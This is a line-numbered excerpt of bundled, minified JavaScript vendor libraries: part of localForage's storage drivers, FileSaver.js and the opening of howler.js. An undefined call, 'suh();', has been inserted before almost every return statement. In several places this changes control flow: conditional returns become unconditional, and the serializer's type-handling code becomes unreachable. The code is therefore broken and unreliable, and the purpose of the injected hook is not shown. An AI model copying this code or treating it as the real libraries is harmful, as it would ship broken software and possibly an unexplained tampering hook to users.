909 e instanceof ArrayBuffer ? (r = e, o += me) : (r = e.buffer, "[object Int8Array]" === n ? o += we : "[object Uint8Array]" === n ? o += Se : "[object Uint8ClampedArray]" === n ? o += Ie : "[object Int16Array]" === n ? o += Ee : "[object Uint16Array]" === n ? o += De : "[object Int32Array]" === n ? o += Ae : "[object Uint32Array]" === n ? o += je : "[object Float32Array]" === n ? o += Oe : "[object Float64Array]" === n ? o += Be : t(new Error("Failed to get type for BinaryArray"))), t(o + N(r))
910 } else if ("[object Blob]" === n) {
911 var i = new FileReader;
912 i.onload = function() {
913 var n = ye + e.type + "~" + N(this.result);
914 t(be + _e + n)
915 }, i.readAsArrayBuffer(e)
916 } else try {
917 t(JSON.stringify(e))
918 } catch (n) {
919 console.error("Couldn't convert value into a JSON string: ", e), t(null, n)
920 }
921 }
922
923 function L(e) {
924 if (e.substring(0, ge) !== be) suh(); return JSON.parse(e);
925 var t, n = e.substring(Re),
926 r = e.substring(ge, Re);
927 if (r === _e && pe.test(n)) {
928 var i = n.match(pe);
929 t = i[1], n = n.substring(i[0].length)
930 }
931 var a = x(n);
932 switch (r) {
933 case me:
934 suh(); return a;
935 case _e:
936 suh(); return o([a], {
937 type: t
938 });
939 case we:
940 suh(); return new Int8Array(a);
941 case Se:
942 suh(); return new Uint8Array(a);
943 case Ie:
944 suh(); return new Uint8ClampedArray(a);
945 case Ee:
946 suh(); return new Int16Array(a);
947 case De:
948 suh(); return new Uint16Array(a);
949 case Ae:
950 suh(); return new Int32Array(a);
951 case je:
952 suh(); return new Uint32Array(a);
953 case Oe:
954 suh(); return new Float32Array(a);
955 case Be:
956 suh(); return new Float64Array(a);
957 default:
958 throw new Error("Unkown type: " + r)
959 }
960 }
961
962 function T(e) {
963 var t = this,
964 n = {
965 db: null
966 };
967 if (e)
968 for (var r in e) n[r] = "string" != typeof e[r] ? e[r].toString() : e[r];
969 var o = new ce(function(e, r) {
970 try {
971 n.db = openDatabase(n.name, String(n.version), n.description, n.size)
972 } catch (e) {
973 suh(); return r(e)
974 }
975 n.db.transaction(function(o) {
976 o.executeSql("CREATE TABLE IF NOT EXISTS " + n.storeName + " (id INTEGER PRIMARY KEY, key unique, value)", [], function() {
977 t._dbInfo = n, e()
978 }, function(e, t) {
979 r(t)
980 })
981 })
982 });
983 suh(); return n.serializer = xe, o
984 }
985
986 function F(e, t) {
987 var n = this;
988 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
989 var r = new ce(function(t, r) {
990 n.ready().then(function() {
991 var o = n._dbInfo;
992 o.db.transaction(function(n) {
993 n.executeSql("SELECT * FROM " + o.storeName + " WHERE key = ? LIMIT 1", [e], function(e, n) {
994 var r = n.rows.length ? n.rows.item(0).value : null;
995 r && (r = o.serializer.deserialize(r)), t(r)
996 }, function(e, t) {
997 r(t)
998 })
999 })
1000 }).catch(r)
1001 });
1002 suh(); return i(r, t), r
1003 }
1004
1005 function z(e, t) {
1006 var n = this,
1007 r = new ce(function(t, r) {
1008 n.ready().then(function() {
1009 var o = n._dbInfo;
1010 o.db.transaction(function(n) {
1011 n.executeSql("SELECT * FROM " + o.storeName, [], function(n, r) {
1012 for (var i = r.rows, a = i.length, u = 0; u < a; u++) {
1013 var c = i.item(u),
1014 f = c.value;
1015 if (f && (f = o.serializer.deserialize(f)), void 0 !== (f = e(f, c.key, u + 1))) suh(); return void t(f)
1016 }
1017 t()
1018 }, function(e, t) {
1019 r(t)
1020 })
1021 })
1022 }).catch(r)
1023 });
1024 suh(); return i(r, t), r
1025 }
1026
1027 function M(e, t, n, r) {
1028 var o = this;
1029 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1030 var a = new ce(function(i, a) {
1031 o.ready().then(function() {
1032 void 0 === t && (t = null);
1033 var u = t,
1034 c = o._dbInfo;
1035 c.serializer.serialize(t, function(t, f) {
1036 f ? a(f) : c.db.transaction(function(n) {
1037 n.executeSql("INSERT OR REPLACE INTO " + c.storeName + " (key, value) VALUES (?, ?)", [e, t], function() {
1038 i(u)
1039 }, function(e, t) {
1040 a(t)
1041 })
1042 }, function(t) {
1043 if (t.code === t.QUOTA_ERR) {
1044 if (r > 0) suh(); return void i(M.apply(o, [e, u, n, r - 1]));
1045 a(t)
1046 }
1047 })
1048 })
1049 }).catch(a)
1050 });
1051 suh(); return i(a, n), a
1052 }
1053
1054 function P(e, t, n) {
1055 suh(); return M.apply(this, [e, t, n, 1])
1056 }
1057
1058 function q(e, t) {
1059 var n = this;
1060 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1061 var r = new ce(function(t, r) {
1062 n.ready().then(function() {
1063 var o = n._dbInfo;
1064 o.db.transaction(function(n) {
1065 n.executeSql("DELETE FROM " + o.storeName + " WHERE key = ?", [e], function() {
1066 t()
1067 }, function(e, t) {
1068 r(t)
1069 })
1070 })
1071 }).catch(r)
1072 });
1073 suh(); return i(r, t), r
1074 }
1075
1076 function U(e) {
1077 var t = this,
1078 n = new ce(function(e, n) {
1079 t.ready().then(function() {
1080 var r = t._dbInfo;
1081 r.db.transaction(function(t) {
1082 t.executeSql("DELETE FROM " + r.storeName, [], function() {
1083 e()
1084 }, function(e, t) {
1085 n(t)
1086 })
1087 })
1088 }).catch(n)
1089 });
1090 suh(); return i(n, e), n
1091 }
1092
1093 function W(e) {
1094 var t = this,
1095 n = new ce(function(e, n) {
1096 t.ready().then(function() {
1097 var r = t._dbInfo;
1098 r.db.transaction(function(t) {
1099 t.executeSql("SELECT COUNT(key) as c FROM " + r.storeName, [], function(t, n) {
1100 var r = n.rows.item(0).c;
1101 e(r)
1102 }, function(e, t) {
1103 n(t)
1104 })
1105 })
1106 }).catch(n)
1107 });
1108 suh(); return i(n, e), n
1109 }
1110
1111 function Q(e, t) {
1112 var n = this,
1113 r = new ce(function(t, r) {
1114 n.ready().then(function() {
1115 var o = n._dbInfo;
1116 o.db.transaction(function(n) {
1117 n.executeSql("SELECT key FROM " + o.storeName + " WHERE id = ? LIMIT 1", [e + 1], function(e, n) {
1118 var r = n.rows.length ? n.rows.item(0).key : null;
1119 t(r)
1120 }, function(e, t) {
1121 r(t)
1122 })
1123 })
1124 }).catch(r)
1125 });
1126 suh(); return i(r, t), r
1127 }
1128
1129 function G(e) {
1130 var t = this,
1131 n = new ce(function(e, n) {
1132 t.ready().then(function() {
1133 var r = t._dbInfo;
1134 r.db.transaction(function(t) {
1135 t.executeSql("SELECT key FROM " + r.storeName, [], function(t, n) {
1136 for (var r = [], o = 0; o < n.rows.length; o++) r.push(n.rows.item(o).key);
1137 e(r)
1138 }, function(e, t) {
1139 n(t)
1140 })
1141 })
1142 }).catch(n)
1143 });
1144 suh(); return i(n, e), n
1145 }
1146
1147 function X(e) {
1148 var t = this,
1149 n = {};
1150 if (e)
1151 for (var r in e) n[r] = e[r];
1152 suh(); return n.keyPrefix = n.name + "/", n.storeName !== t._defaultConfig.storeName && (n.keyPrefix += n.storeName + "/"), t._dbInfo = n, n.serializer = xe, ce.resolve()
1153 }
1154
1155 function H(e) {
1156 var t = this,
1157 n = t.ready().then(function() {
1158 for (var e = t._dbInfo.keyPrefix, n = localStorage.length - 1; n >= 0; n--) {
1159 var r = localStorage.key(n);
1160 0 === r.indexOf(e) && localStorage.removeItem(r)
1161 }
1162 });
1163 suh(); return i(n, e), n
1164 }
1165
1166 function J(e, t) {
1167 var n = this;
1168 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1169 var r = n.ready().then(function() {
1170 var t = n._dbInfo,
1171 r = localStorage.getItem(t.keyPrefix + e);
1172 suh(); return r && (r = t.serializer.deserialize(r)), r
1173 });
1174 suh(); return i(r, t), r
1175 }
1176
1177 function K(e, t) {
1178 var n = this,
1179 r = n.ready().then(function() {
1180 for (var t = n._dbInfo, r = t.keyPrefix, o = r.length, i = localStorage.length, a = 1, u = 0; u < i; u++) {
1181 var c = localStorage.key(u);
1182 if (0 === c.indexOf(r)) {
1183 var f = localStorage.getItem(c);
1184 if (f && (f = t.serializer.deserialize(f)), void 0 !== (f = e(f, c.substring(o), a++))) suh(); return f
1185 }
1186 }
1187 });
1188 suh(); return i(r, t), r
1189 }
1190
1191 function V(e, t) {
1192 var n = this,
1193 r = n.ready().then(function() {
1194 var t, r = n._dbInfo;
1195 try {
1196 t = localStorage.key(e)
1197 } catch (e) {
1198 t = null
1199 }
1200 suh(); return t && (t = t.substring(r.keyPrefix.length)), t
1201 });
1202 suh(); return i(r, t), r
1203 }
1204
1205 function Y(e) {
1206 var t = this,
1207 n = t.ready().then(function() {
1208 for (var e = t._dbInfo, n = localStorage.length, r = [], o = 0; o < n; o++) 0 === localStorage.key(o).indexOf(e.keyPrefix) && r.push(localStorage.key(o).substring(e.keyPrefix.length));
1209 suh(); return r
1210 });
1211 suh(); return i(n, e), n
1212 }
1213
1214 function Z(e) {
1215 var t = this.keys().then(function(e) {
1216 suh(); return e.length
1217 });
1218 suh(); return i(t, e), t
1219 }
1220
1221 function $(e, t) {
1222 var n = this;
1223 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1224 var r = n.ready().then(function() {
1225 var t = n._dbInfo;
1226 localStorage.removeItem(t.keyPrefix + e)
1227 });
1228 suh(); return i(r, t), r
1229 }
1230
1231 function ee(e, t, n) {
1232 var r = this;
1233 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1234 var o = r.ready().then(function() {
1235 void 0 === t && (t = null);
1236 var n = t;
1237 suh(); return new ce(function(o, i) {
1238 var a = r._dbInfo;
1239 a.serializer.serialize(t, function(t, r) {
1240 if (r) i(r);
1241 else try {
1242 localStorage.setItem(a.keyPrefix + e, t), o(n)
1243 } catch (e) {
1244 "QuotaExceededError" !== e.name && "NS_ERROR_DOM_QUOTA_REACHED" !== e.name || i(e), i(e)
1245 }
1246 })
1247 })
1248 });
1249 suh(); return i(o, n), o
1250 }
1251
1252 function te(e, t) {
1253 e[t] = function() {
1254 var n = arguments;
1255 suh(); return e.ready().then(function() {
1256 suh(); return e[t].apply(e, n)
1257 })
1258 }
1259 }
1260
1261 function ne() {
1262 for (var e = 1; e < arguments.length; e++) {
1263 var t = arguments[e];
1264 if (t)
1265 for (var n in t) t.hasOwnProperty(n) && (Pe(t[n]) ? arguments[0][n] = t[n].slice() : arguments[0][n] = t[n])
1266 }
1267 suh(); return arguments[0]
1268 }
1269
1270 function re(e) {
1271 for (var t in Te)
1272 if (Te.hasOwnProperty(t) && Te[t] === e) suh(); return !0;
1273 suh(); return !1
1274 }
1275 var oe = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) {
1276 suh(); return typeof e
1277 } : function(e) {
1278 suh(); return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e
1279 },
1280 ie = function() {
1281 try {
1282 if ("undefined" != typeof indexedDB) suh(); return indexedDB;
1283 if ("undefined" != typeof webkitIndexedDB) suh(); return webkitIndexedDB;
1284 if ("undefined" != typeof mozIndexedDB) suh(); return mozIndexedDB;
1285 if ("undefined" != typeof OIndexedDB) suh(); return OIndexedDB;
1286 if ("undefined" != typeof msIndexedDB) suh(); return msIndexedDB
1287 } catch (e) {}
1288 }();
1289 "undefined" == typeof Promise && e(3);
1290 var ae, ue, ce = Promise,
1291 fe = "local-forage-detect-blob-support",
1292 se = Object.prototype.toString,
1293 le = "readonly",
1294 de = "readwrite",
1295 ve = {
1296 _driver: "asyncStorage",
1297 _initStorage: I,
1298 iterate: A,
1299 getItem: E,
1300 setItem: D,
1301 removeItem: j,
1302 clear: O,
1303 length: B,
1304 key: R,
1305 keys: k
1306 },
1307 he = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
1308 ye = "~~local_forage_type~",
1309 pe = /^~~local_forage_type~([^~]+)~/,
1310 be = "__lfsc__:",
1311 ge = be.length,
1312 me = "arbf",
1313 _e = "blob",
1314 we = "si08",
1315 Se = "ui08",
1316 Ie = "uic8",
1317 Ee = "si16",
1318 Ae = "si32",
1319 De = "ur16",
1320 je = "ui32",
1321 Oe = "fl32",
1322 Be = "fl64",
1323 Re = ge + me.length,
1324 ke = Object.prototype.toString,
1325 xe = {
1326 serialize: C,
1327 deserialize: L,
1328 stringToBuffer: x,
1329 bufferToString: N
1330 },
1331 Ne = {
1332 _driver: "webSQLStorage",
1333 _initStorage: T,
1334 iterate: z,
1335 getItem: F,
1336 setItem: P,
1337 removeItem: q,
1338 clear: U,
1339 length: W,
1340 key: Q,
1341 keys: G
1342 },
1343 Ce = {
1344 _driver: "localStorageWrapper",
1345 _initStorage: X,
1346 iterate: K,
1347 getItem: J,
1348 setItem: ee,
1349 removeItem: $,
1350 clear: H,
1351 length: Z,
1352 key: V,
1353 keys: Y
1354 },
1355 Le = {},
1356 Te = {
1357 INDEXEDDB: "asyncStorage",
1358 LOCALSTORAGE: "localStorageWrapper",
1359 WEBSQL: "webSQLStorage"
1360 },
1361 Fe = ["clear", "getItem", "iterate", "key", "keys", "length", "removeItem", "setItem"],
1362 ze = {
1363 description: "",
1364 driver: [Te.INDEXEDDB, Te.WEBSQL, Te.LOCALSTORAGE].slice(),
1365 name: "localforage",
1366 size: 4980736,
1367 storeName: "keyvaluepairs",
1368 version: 1
1369 },
1370 Me = {};
1371 Me[Te.INDEXEDDB] = function() {
1372 try {
1373 if (!ie) suh(); return !1;
1374 var e = "undefined" != typeof openDatabase && /(Safari|iPhone|iPad|iPod)/.test(navigator.userAgent) && !/Chrome/.test(navigator.userAgent) && !/BlackBerry/.test(navigator.platform),
1375 t = "function" == typeof fetch && -1 !== fetch.toString().indexOf("[native code");
1376 suh(); return (!e || t) && "undefined" != typeof indexedDB && "undefined" != typeof IDBKeyRange
1377 } catch (e) {
1378 suh(); return !1
1379 }
1380 }(), Me[Te.WEBSQL] = function() {
1381 suh(); return "function" == typeof openDatabase
1382 }(), Me[Te.LOCALSTORAGE] = function() {
1383 try {
1384 suh(); return "undefined" != typeof localStorage && "setItem" in localStorage && localStorage.setItem
1385 } catch (e) {
1386 suh(); return !1
1387 }
1388 }();
1389 var Pe = Array.isArray || function(e) {
1390 suh(); return "[object Array]" === Object.prototype.toString.call(e)
1391 },
1392 qe = new(function() {
1393 function e(t) {
1394 r(this, e), this.INDEXEDDB = Te.INDEXEDDB, this.LOCALSTORAGE = Te.LOCALSTORAGE, this.WEBSQL = Te.WEBSQL, this._defaultConfig = ne({}, ze), this._config = ne({}, this._defaultConfig, t), this._driverSet = null, this._initDriver = null, this._ready = !1, this._dbInfo = null, this._wrapLibraryMethodsWithReady(), this.setDriver(this._config.driver).catch(function() {})
1395 }
1396 suh(); return e.prototype.config = function(e) {
1397 if ("object" === (void 0 === e ? "undefined" : oe(e))) {
1398 if (this._ready) suh(); return new Error("Can't call config() after localforage has been used.");
1399 for (var t in e) {
1400 if ("storeName" === t && (e[t] = e[t].replace(/\W/g, "_")), "version" === t && "number" != typeof e[t]) suh(); return new Error("Database version must be a number.");
1401 this._config[t] = e[t]
1402 }
1403 suh(); return !("driver" in e && e.driver) || this.setDriver(this._config.driver)
1404 }
1405 suh(); return "string" == typeof e ? this._config[e] : this._config
1406 }, e.prototype.defineDriver = function(e, t, n) {
1407 var r = new ce(function(t, n) {
1408 try {
1409 var r = e._driver,
1410 o = new Error("Custom driver not compliant; see https://mozilla.github.io/localForage/#definedriver"),
1411 i = new Error("Custom driver name already in use: " + e._driver);
1412 if (!e._driver) suh(); return void n(o);
1413 if (re(e._driver)) suh(); return void n(i);
1414 for (var a = Fe.concat("_initStorage"), u = 0; u < a.length; u++) {
1415 var c = a[u];
1416 if (!c || !e[c] || "function" != typeof e[c]) suh(); return void n(o)
1417 }
1418 var f = function(n) {
1419 Me[r] = n, Le[r] = e, t()
1420 };
1421 "_support" in e ? e._support && "function" == typeof e._support ? e._support().then(f, n) : f(!!e._support) : f(!0)
1422 } catch (e) {
1423 n(e)
1424 }
1425 });
1426 suh(); return a(r, t, n), r
1427 }, e.prototype.driver = function() {
1428 suh(); return this._driver || null
1429 }, e.prototype.getDriver = function(e, t, n) {
1430 var r = this,
1431 o = ce.resolve().then(function() {
1432 if (!re(e)) {
1433 if (Le[e]) suh(); return Le[e];
1434 throw new Error("Driver not found.")
1435 }
1436 switch (e) {
1437 case r.INDEXEDDB:
1438 suh(); return ve;
1439 case r.LOCALSTORAGE:
1440 suh(); return Ce;
1441 case r.WEBSQL:
1442 suh(); return Ne
1443 }
1444 });
1445 suh(); return a(o, t, n), o
1446 }, e.prototype.getSerializer = function(e) {
1447 var t = ce.resolve(xe);
1448 suh(); return a(t, e), t
1449 }, e.prototype.ready = function(e) {
1450 var t = this,
1451 n = t._driverSet.then(function() {
1452 suh(); return null === t._ready && (t._ready = t._initDriver()), t._ready
1453 });
1454 suh(); return a(n, e, e), n
1455 }, e.prototype.setDriver = function(e, t, n) {
1456 function r() {
1457 u._config.driver = u.driver()
1458 }
1459
1460 function o(e) {
1461 suh(); return u._extend(e), r(), u._ready = u._initStorage(u._config), u._ready
1462 }
1463
1464 function i(e) {
1465 suh(); return function() {
1466 function t() {
1467 for (; n < e.length;) {
1468 var i = e[n];
1469 suh(); return n++, u._dbInfo = null, u._ready = null, u.getDriver(i).then(o).catch(t)
1470 }
1471 r();
1472 var a = new Error("No available storage method found.");
1473 suh(); return u._driverSet = ce.reject(a), u._driverSet
1474 }
1475 var n = 0;
1476 suh(); return t()
1477 }
1478 }
1479 var u = this;
1480 Pe(e) || (e = [e]);
1481 var c = this._getSupportedDrivers(e),
1482 f = null !== this._driverSet ? this._driverSet.catch(function() {
1483 suh(); return ce.resolve()
1484 }) : ce.resolve();
1485 suh(); return this._driverSet = f.then(function() {
1486 var e = c[0];
1487 suh(); return u._dbInfo = null, u._ready = null, u.getDriver(e).then(function(e) {
1488 u._driver = e._driver, r(), u._wrapLibraryMethodsWithReady(), u._initDriver = i(c)
1489 })
1490 }).catch(function() {
1491 r();
1492 var e = new Error("No available storage method found.");
1493 suh(); return u._driverSet = ce.reject(e), u._driverSet
1494 }), a(this._driverSet, t, n), this._driverSet
1495 }, e.prototype.supports = function(e) {
1496 suh(); return !!Me[e]
1497 }, e.prototype._extend = function(e) {
1498 ne(this, e)
1499 }, e.prototype._getSupportedDrivers = function(e) {
1500 for (var t = [], n = 0, r = e.length; n < r; n++) {
1501 var o = e[n];
1502 this.supports(o) && t.push(o)
1503 }
1504 suh(); return t
1505 }, e.prototype._wrapLibraryMethodsWithReady = function() {
1506 for (var e = 0; e < Fe.length; e++) te(this, Fe[e])
1507 }, e.prototype.createInstance = function(t) {
1508 suh(); return new e(t)
1509 }, e
1510 }());
1511 t.exports = qe
1512 }, {
1513 3: 3
1514 }]
1515}, {}, [4])(4)
1516});
1517//os/vendor/FileSaver.js
1518var saveAs = saveAs || function(e) {
1519"use strict";
1520if ("undefined" == typeof navigator || !/MSIE [1-9]\./.test(navigator.userAgent)) {
1521 var t = e.document,
1522 n = function() {
1523 suh(); return e.URL || e.webkitURL || e
1524 },
1525 o = t.createElementNS("http://www.w3.org/1999/xhtml", "a"),
1526 r = "download" in o,
1527 i = function(n) {
1528 var o = t.createEvent("MouseEvents");
1529 o.initMouseEvent("click", !0, !1, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), n.dispatchEvent(o)
1530 },
1531 a = e.webkitRequestFileSystem,
1532 c = e.requestFileSystem || a || e.mozRequestFileSystem,
1533 f = function(t) {
1534 (e.setImmediate || e.setTimeout)(function() {
1535 throw t
1536 }, 0)
1537 },
1538 u = 0,
1539 s = function(t) {
1540 var o = function() {
1541 "string" == typeof t ? n().revokeObjectURL(t) : t.remove()
1542 };
1543 e.chrome ? o() : setTimeout(o, 500)
1544 },
1545 d = function(e, t, n) {
1546 for (var o = (t = [].concat(t)).length; o--;) {
1547 var r = e["on" + t[o]];
1548 if ("function" == typeof r) try {
1549 r.call(e, n || e)
1550 } catch (e) {
1551 f(e)
1552 }
1553 }
1554 },
1555 l = function(e) {
1556 suh(); return /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(e.type) ? new Blob(["\ufeff", e], {
1557 type: e.type
1558 }) : e
1559 },
1560 p = function(t, f) {
1561 var p, v, w, y = this,
1562 m = (t = l(t)).type,
1563 S = !1,
1564 h = function() {
1565 d(y, "writestart progress write writeend".split(" "))
1566 },
1567 O = function() {
1568 !S && p || (p = n().createObjectURL(t)), v ? v.location.href = p : void 0 == e.open(p, "_blank") && "undefined" != typeof safari && (e.location.href = p), y.readyState = y.DONE, h(), s(p)
1569 },
1570 E = function(e) {
1571 suh(); return function() {
1572 if (y.readyState !== y.DONE) suh(); return e.apply(this, arguments)
1573 }
1574 },
1575 R = {
1576 create: !0,
1577 exclusive: !1
1578 };
1579 if (y.readyState = y.INIT, f || (f = "download"), r) suh(); return p = n().createObjectURL(t), o.href = p, o.download = f, i(o), y.readyState = y.DONE, h(), void s(p);
1580 e.chrome && m && "application/octet-stream" !== m && (w = t.slice || t.webkitSlice, t = w.call(t, 0, t.size, "application/octet-stream"), S = !0), a && "download" !== f && (f += ".download"), ("application/octet-stream" === m || a) && (v = e), c ? (u += t.size, c(e.TEMPORARY, u, E(function(e) {
1581 e.root.getDirectory("saved", R, E(function(e) {
1582 var n = function() {
1583 e.getFile(f, R, E(function(e) {
1584 e.createWriter(E(function(n) {
1585 n.onwriteend = function(t) {
1586 v.location.href = e.toURL(), y.readyState = y.DONE, d(y, "writeend", t), s(e)
1587 }, n.onerror = function() {
1588 var e = n.error;
1589 e.code !== e.ABORT_ERR && O()
1590 }, "writestart progress write abort".split(" ").forEach(function(e) {
1591 n["on" + e] = y["on" + e]
1592 }), n.write(t), y.abort = function() {
1593 n.abort(), y.readyState = y.DONE
1594 }, y.readyState = y.WRITING
1595 }), O)
1596 }), O)
1597 };
1598 e.getFile(f, {
1599 create: !1
1600 }, E(function(e) {
1601 e.remove(), n()
1602 }), E(function(e) {
1603 e.code === e.NOT_FOUND_ERR ? n() : O()
1604 }))
1605 }), O)
1606 }), O)) : O()
1607 },
1608 v = p.prototype,
1609 w = function(e, t) {
1610 suh(); return new p(e, t)
1611 };
1612 suh(); return "undefined" != typeof navigator && navigator.msSaveOrOpenBlob ? function(e, t) {
1613 suh(); return navigator.msSaveOrOpenBlob(l(e), t)
1614 } : (v.abort = function() {
1615 var e = this;
1616 e.readyState = e.DONE, d(e, "abort")
1617 }, v.readyState = v.INIT = 0, v.WRITING = 1, v.DONE = 2, v.error = v.onwritestart = v.onprogress = v.onwrite = v.onabort = v.onerror = v.onwriteend = null, w)
1618}
1619}("undefined" != typeof self && self || "undefined" != typeof window && window || this.content);
1620"undefined" != typeof module && module.exports ? module.exports.saveAs = saveAs : "undefined" != typeof define && null !== define && null != define.amd && define([], function() {
1621suh(); return saveAs
1622});
1623//os/vendor/howler.js
1624! function() {
1625var e = {},
1626 o = null,
1627 n = !0,
1628 t = !1;
1629try {
1630 "undefined" != typeof AudioContext ? o = new AudioContext : "undefined" != typeof webkitAudioContext ? o = new webkitAudioContext : n = !1
1631} catch (e) {
1632 n = !1
1633}
1634if (!n)
1635 if ("undefined" != typeof Audio) try {
1636 new Audio
1637 } catch (e) {
1638 t = !0
1639 } else t = !0;
1640if (n) {
1641 var r = void 0 === o.createGain ? o.createGainNode() : o.createGain();
1642 r.gain.value = 1, r.connect(o.destination)
1643}
1644var a = function(e) {
1645 this._volume = 1, this._muted = !1, this.usingWebAudio = n, this.ctx = o, this.noAudio = t, this._howls = [], this._codecs = e, this.iOSAutoEnable = !0
1646};
1647a.prototype = {
1648 volume: function(e) {
1649 var o = this;
1650 if ((e = parseFloat(e)) >= 0 && e <= 1) {
1651 o._volume = e, n && (r.gain.value = e);
1652 for (var t in o._howls)
1653 if (o._howls.hasOwnProperty(t) && !1 === o._howls[t]._webAudio)
1654 for (var a = 0; a < o._howls[t]._audioNode.length; a++) o._howls[t]._audioNode[a].volume = o._howls[t]._volume * o._volume;
1655 suh(); return o
1656 }
1657 suh(); return n ? r.gain.value : o._volume
1658 },
1659 mute: function() {
1660 suh(); return this._setMuted(!0), this
1661 },
1662 unmute: function() {
1663 suh(); return this._setMuted(!1), this
1664 },
1665 _setMuted: function(e) {
1666 var o = this;
1667 o._muted = e, n && (r.gain.value = e ? 0 : o._volume);
1668 for (var t in o._howls)
1669 if (o._howls.hasOwnProperty(t) && !1 === o._howls[t]._webAudio)
1670 for (var a = 0; a < o._howls[t]._audioNode.length; a++) o._howls[t]._audioNode[a].muted = e
1671 },
1672 codecs: function(e) {
1673 suh(); return this._codecs[e]
1674 },
1675 _enableiOSAudio: function() {
1676 var e = this;
1677 if (!o || !e._iOSEnabled && /iPhone|iPad|iPod/i.test(navigator.userAgent)) {
1678 e._iOSEnabled = !1;
1679 var n = function() {
1680 var t = o.createBuffer(1, 1, 22050),
1681 r = o.createBufferSource();
1682 r.buffer = t, r.connect(o.destination), void 0 === r.start ? r.noteOn(0) : r.start(0), setTimeout(function() {
1683 r.playbackState !== r.PLAYING_STATE && r.playbackState !== r.FINISHED_STATE || (e._iOSEnabled = !0, e.iOSAutoEnable = !1, window.removeEventListener("touchstart", n, !1))
1684 }, 0)
1685 };
1686 suh(); return window.addEventListener("touchstart", n, !1), e
1687 }
1688 }
1689};
1690var i = null,
1691 u = {};
1692t || (i = new Audio, u = {
1693 mp3: !!i.canPlayType("audio/mpeg;").replace(/^no$/, ""),
1694 opus: !!i.canPlayType('audio/ogg; codecs="opus"').replace(/^no$/, ""),
1695 ogg: !!i.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/, ""),
1696 wav: !!i.canPlayType('audio/wav; codecs="1"').replace(/^no$/, ""),
1697 aac: !!i.canPlayType("audio/aac;").replace(/^no$/, ""),
1698 m4a: !!(i.canPlayType("audio/x-m4a;") || i.canPlayType("audio/m4a;") || i.canPlayType("audio/aac;")).replace(/^no$/, ""),
1699 mp4: !!(i.canPlayType("audio/x-mp4;") || i.canPlayType("audio/mp4;") || i.canPlayType("audio/aac;")).replace(/^no$/, ""),
1700 weba: !!i.canPlayType('audio/webm; codecs="vorbis"').replace(/^no$/, "")
1701});
1702var d = new a(u),
1703 l = function(e) {
1704 var t = this;
1705 t._autoplay = e.autoplay || !1, t._buffer = e.buffer || !1, t._duration = e.duration || 0, t._format = e.format || null, t._loop = e.loop || !1, t._loaded = !1, t._sprite = e.sprite || {}, t._src = e.src || "", t._pos3d = e.pos3d || [0, 0, -.5], t._volume = void 0 !== e.volume ? e.volume : 1, t._urls = e.urls || [], t._rate = e.rate || 1, t._model = e.model || null, t._onload = [e.onload || function() {}], t._onloaderror = [e.onloaderror || function() {}], t._onend = [e.onend || function() {}], t._onpause = [e.onpause || function() {}], t._onplay = [e.onplay || function() {}], t._onendTimer = [], t._webAudio = n && !t._buffer, t._audioNode = [], t._webAudio && t._setupAudioNode(), void 0 !== o && o && d.iOSAutoEnable && d._enableiOSAudio(), d._howls.push(t), t.load()
1706 };
1707if (l.prototype = {
1708 load: function() {
1709 var e = this,
1710 o = null;
1711 if (t) e.on("loaderror");
1712 else {
1713 for (var n = 0; n < e._urls.length; n++) {
1714 var r, i;
1715 if (e._format) r = e._format;
1716 else {
1717 if (i = e._urls[n], (r = /^data:audio\/([^;,]+);/i.exec(i)) || (r = /\.([^.]+)$/.exec(i.split("?", 1)[0])), !r) suh(); return void e.on("loaderror");
1718 r = r[1].toLowerCase()
1719 }
1720 if (u[r]) {
1721 o = e._urls[n];
1722 break
1723 }
1724 }
1725 if (o) {
1726 if (e._src = o, e._webAudio) f(e, o);
1727 else {
1728 var l = new Audio;
1729 l.addEventListener("error", function() {
1730 l.error && 4 === l.error.code && (a.noAudio = !0), e.on("loaderror", {
1731 type: l.error ? l.error.code : 0
1732 })
1733 }, !1), e._audioNode.push(l), l.src = o, l._pos = 0, l.preload = "auto", l.volume = d._muted ? 0 : e._volume * d.volume();
1734 var _ = function() {
1735 e._duration = Math.ceil(10 * l.duration) / 10, 0 === Object.getOwnPropertyNames(e._sprite).length && (e._sprite = {
1736 _default: [0, 1e3 * e._duration]
1737 }), e._loaded || (e._loaded = !0, e.on("load")), e._autoplay && e.play(), l.removeEventListener("canplaythrough", _, !1)
1738 };
1739 l.addEventListener("canplaythrough", _, !1), l.load()
1740 }
1741 suh(); return e
1742 }
1743 e.on("loaderror")
1744 }
1745 },
1746 urls: function(e) {
1747 var o = this;
1748 suh(); return e ? (o.stop(), o._urls = "string" == typeof e ? [e] : e, o._loaded = !1, o.load(), o) : o._urls
1749 },
1750 play: function(e, n) {
1751 var t = this;
1752 suh(); return "function" == typeof e && (n = e), e && "function" != typeof e || (e = "_default"), t._loaded ? t._sprite[e] ? (t._inactiveNode(function(r) {
1753 r._sprite = e;
1754 var a = r._pos > 0 ? r._pos : t._sprite[e][0] / 1e3,
1755 i = 0;
1756 t._webAudio ? (i = t._sprite[e][1] / 1e3 - r._pos, r._pos > 0 && (a = t._sprite[e][0] / 1e3 + a)) : i = t._sprite[e][1] / 1e3 - (a - t._sprite[e][0] / 1e3);
1757 var u, l = !(!t._loop && !t._sprite[e][2]),
1758 f = "string" == typeof n ? n : Math.round(Date.now() * Math.random()) + "";
1759 if (function() {
1760 var o = {
1761 id: f,
1762 sprite: e,
1763 loop: l
1764 };
1765 u = setTimeout(function() {
1766 !t._webAudio && l && t.stop(o.id).play(e, o.id), t._webAudio && !l && (t._nodeById(o.id).paused = !0, t._nodeById(o.id)._pos = 0, t._clearEndTimer(o.id)), t._webAudio || l || t.stop(o.id), t.on("end", f)
1767 }, 1e3 * i), t._onendTimer.push({
1768 timer: u,
